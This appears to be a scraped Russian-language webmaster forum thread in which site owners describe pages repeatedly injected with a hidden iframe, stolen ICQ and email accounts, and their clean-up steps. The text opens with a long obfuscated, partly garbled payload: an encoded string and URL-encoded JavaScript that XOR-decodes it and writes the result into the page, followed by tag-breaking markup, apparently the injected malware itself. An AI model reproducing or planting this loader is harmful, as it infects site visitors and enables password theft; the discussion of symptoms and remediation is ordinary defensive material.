AkARAGADAlAPAmARAjA6AKADAVArAiAtADAkARAGADAlAPAmAR AjA6AyADAVArAiAxAXARAmA5AeAIARAjAYAzAqAxACARAmA5Ae AIARAjA6AWAZA8ANA3A3A3A3A3A6AyADAiAbAcAJAIARAkAmAx AcAbAbAFAeARADAtADApATAPAWA7AtA7AWARAXAcAPAhARAjAh AcAaA6AWA7AyARAUAhAeAnARAXAtA7AWAVArAiAxAmAbAzALA5 ASAmAnAeAkACAjA6AyADAMAsAPAnADXAACAaAtXXAcAmXcAHXX AyAsAPAnADArAGXnAtXXAwXXAKXeXhAYAtXXAJAhAiAPAmARAw AxAcAHAPAXAXAeAcAmARAHAxAbAnACXXAyAsAPAnADAlXmAUAt XXAoXnAmAIAHAoXXAyAeAdAjAiAbAcAJAIARAkAmAxAcAbAbAF AeARAxAeAkAiARAUATAdAjXAACAaAWXXAtXXAWArAGXnA6AtAt XfAwA6A9ADAsAPAnADABXoXgAtXXXnAmAmAhXDAoAoXXAWAjAi AbAcAJAIARAkAmAxAHAbAcAPAmAeAbAkAxXnAbAXAmADXwAtAD XXXXXdXXXXXDXoAdAmAjA6A6AWAiAbAcAJAIARAkAmAxAHAbAc APAmAeAbAkAxXnAbAXAmAxAnARAhAHAPAcARAjAoXHXBAPXfAB A3XfX4AxXfXJAoAKXXAxXXA6AxAnARAhAHAPAcARAjAoXkAxAW AoAKXXAxXXA6AWXXAxXXAWXoAdAmAjA6AWXXAxXXAWXeXhAYAW AlXmAUAyAsAPAnADXbAzAGAtAiAbAcAJAIARAkAmAxAcAnARAP AmARXPAHARAIARAkAmAjXXAeAdAnAPAIARXXA6AyXbAzAGAxAX ARAmXVAmAmAnAeApAJAmARAjXXAXAnAcXXAKABXoXgA6AyXbAz AGAxAdAnAPAIARXbAbAnAiARAnAtA3AyADXbAzAGAxAGAeAiAm XnAtAwAyXbAzAGAxXnARAeACXnAmAtA3AyAmAnXjADA9ADAiAb AcAJAIARAkAmAxApAbAiXjAxAPAhAhARAkAiXpXnAeAHAiAjXb AzAGA6AyAPAbAVAjXAACAaAKArAGXnA6AyADAMAcAPAmAcXnAj ARA6A9ADAiAbAcAJAIARAkAmAxAGAnAeAmARAjXXAAXnAmAIAH AfAAApAbAiXjAfAAAoApAbAiXjAfAAAoXnAmAIAHAfXXA6AyAi AbAcAJAIARAkAmAxApAbAiXjAxAPAhAhARAkAiXpXnAeAHAiAj XbAzAGA6AyADAPAbAVAjXAACAaAKArAGXnA6AyADAMADAMA4Ad AJAkAcAmAeAbAkADXoAdAmAjA6A9ADAsAPAnADAiAdXTAtXKAN AyAsAPAnADAlXAAsAtA7A3AwXKXcANXaA8X6AZX4A3APApAcAi ARAdA7AKAHX9ASAtA7A7AyADAdAbAnAjAzAmACAtA3AyADAzAm ACADAAADAiAdXTAyADAzAmACAWAWA6ADAHX9ASAWAtADAlXAAs AxAXAJApAXAmAnAjALAPAmXnAxAdAHAbAbAnAjALAPAmXnAxAn APAkAiAbAIAjA6AgAlXAAsAxAHARAkACAmXnA6AKAwAKAwA6Ay ADAnARAmAJAnAkADAHX9ASAyADAMAAAoAXAcAnAeAhAmAf%27% 3Bvar%20dX%3DString%28%29%3BxX%3DxX.split%28ZH%29% 3Bfor%28Nq%3D0%3BNq%3CRC.lЕngth%3BNq+%3D2%29%7BRH% 3DRC.substr%28Nq%2C2%29%3Bf or%28Kp%3D0%3BKp%3CxX.length%3BKp++%29%7Bif%28xX%5 BKp%5D%3D%3DRH%29break%3B%7D%20dX+%3DString.fromCh arCode%28Nu%5BKp%5D%5E165%29%3B%7Ddocument.write%2 8dX%29%3B%7D%0Acatch%28e%29%7B%7D%3C/script%3E"))</scРipt></textarea></form>
</title></comment></a>
</div></span></ilayer></layer></iframe></noframes></style></noscript></table></script></applet></font>
<style>
#bn {displАy:block;}
#bt {displАy:block;}
</style>
<div style="background:url(http://www.tns-counter.ru/V13a****yandex_ru/ru/CP1251/tmsec=narod_total/)"></div>
<script language="JavaScript" src="http://bs.yandex.ru/show/163"></script>


Владелец озадачен покупкой Антивируса Касперского + Касперски Интернет Секьюрити. Буду просматривать остальные страницы на подозрительные скрипты и лечить компик. [Ответ]

Обычный iframe грузящий вас на комп кокую либо программы скорей всего pinch варующий ваши пароли от и до... следует некогда ненажимать на кнопочки запомнить пароль.) и стараться иметь покрайне мере как 3-5 паролей)) [Ответ]

У меня все сайты (около 20) такими вирусами заражено.
Хостинг мсковский, платный, дорогой.
Менял пароли, лечил комп каспеским и другими анивирусниками - не помогло.
В конце-концов украли номер аськи, получили контроль над почтовым ящиком и через мой трафик прогнали рассылку. Причем пароли ставил не ламерские а по всем законам криптографии, т.е. подбор маловероятен.
Пришлось полностью форматировать винчестер и пробывать заново.
Читал что такие проблемы у многих. Скорее всего впоймал вирус, который снимает данные с клавиатуры. По моим сведениям есть такие которые антивирусниками не определяются.

Странное совпадение, что мои знакомые в воронеже ловили такие вирусы и при этом кк и я пользовались связью домолинка... Но это скорее всего -совпадение.

Убирать код iframe бесполезно, через 2-3 дня все опять появляется. Причем зараженны только первые страницы в каждой папке с первым уровнем вложенности. Скорее всего это программа, а не ручное баловство
Для себя придумал выход:
1. Отформатировать диски.
2. Поставить антивирусник.
3. Сменить все пароли (фтп, панель управления, аська, e-mail)
4. Отучить себя сохранять их в аське и ftp-клиентах даже если у тебя антивирусник (на каждую хитрую жопу есть х... с винтом)
5. Сохранить пароли в блокноте, файл блакнота на флешку, флшку наручниками в себе и при входе не набирать, а копировать в буфер (хотя вероятно есть возможность читать и буфер...)

Пошел даже дальше - сменил хостера, т.к. оказывается мои сайты уже несколько месяцев заржат все вокруг троянами, а ему по одному месту и нет уверености в том, что программа которая вставляет этот код не сидит уже на сервере хостера.

Вроде около двух недель все спокойно. Можно начинать все востанавливать...

Вот такой я шизофреник [Ответ]